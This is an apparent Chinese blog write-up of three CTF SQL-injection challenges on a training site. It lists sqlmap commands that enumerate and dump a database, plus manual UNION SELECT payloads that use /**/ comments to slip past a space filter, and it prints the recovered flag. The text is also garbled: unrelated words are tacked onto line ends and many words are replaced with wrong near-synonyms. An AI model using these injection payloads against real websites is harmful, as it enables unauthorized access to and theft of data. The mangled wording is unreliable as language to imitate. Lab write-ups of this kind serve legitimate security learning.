sql注入学习心得与sqlmap使用心得

作题是最好的老师php

首先先来分享一下我用来练手的题目,实验吧中的简单的sql注入1,2,3python

不得不说,sql注入真是一个神奇的东西,至少我之前看起来一点头绪都没有的题目能入手了web

首先是简单的sql注入3(别问我为何不是1)sql

打开连接以后发现数据库

陷入沉思,这时候我决定使用sqlmap对他进行sql注入orm

在终端输入python2 sqlmap.py -u http://ctf5.shiyanbar.com/web/index_3.php?id=1 --dbs,而后就开始等他跑,固然跑的过程有点长,就不贴图了blog

最终结果获得io

3个表,这可还行,而后咱们打开web1看看里面有什么列table

python2 sqlmap.py -u http://ctf5.shiyanbar.com/web/index_3.php?id=1 --tables -D web1form

emmmmm,熟悉的字眼,是flag!

因而咱们再进入列看看

python2 sqlmap.py -u http://ctf5.shiyanbar.com/web/index_3.php?id=1 --columns -T flag -D web1

flag已经出现了,这时候咱们只须要把它dump出来就行了

python2 sqlmap.py -u http://ctf5.shiyanbar.com/web/index_3.php?id=1 --dump -C flag -T flag -D web1

最终获得答案 flag{Y0u_@r3_5O_dAmn_90Od}

固然,这样可能比较麻烦,因此第二题我就换了一种方法

输入1发现,那咱们再输入1 and 1 = 1

报错了,emmmmm。因而看了一下别人的wp,原来报SQLi detected!,说明有防御;name: baloteli 说明过滤了“空格”

因此咱们先查看有哪些数据库
1'/**/union/**/select/**/schema_name/**/from/**/information_schema.schemata/**/where/**/'1'='1

 

 好家伙,又是web1,那咱们再看看有什么表

1'/**/union/**/select/**/table_name/**/from/**/information_schema.tables/**/where/**/'1'='1

找到了这个,那咱们再看看里面有什么东西

1'/**/union/**/select/**/column_name/**/from/**/information_schema.columns/**/where/**/'1'='1

最后输入1'/**/union/**/select/**/flag/**/from/**/web1.flag/**/where/**/'1'='1

答案就出来了flag{Y0u_@r3_5O_dAmn_90Od}

最后咱们来讲一下简单的sql注入1

固然个人作法和2同样,只不过看列的时候出现了一点问题

因而我直接就进行了最后一步,但愿能获得答案,固然最后仍是运气好获得答案了

flag{Y0u_@r3_5O_dAmn_90Od}

但愿有dalao能解答一下我最后遇到的问题,欢迎评论

相关文章
相关标签/搜索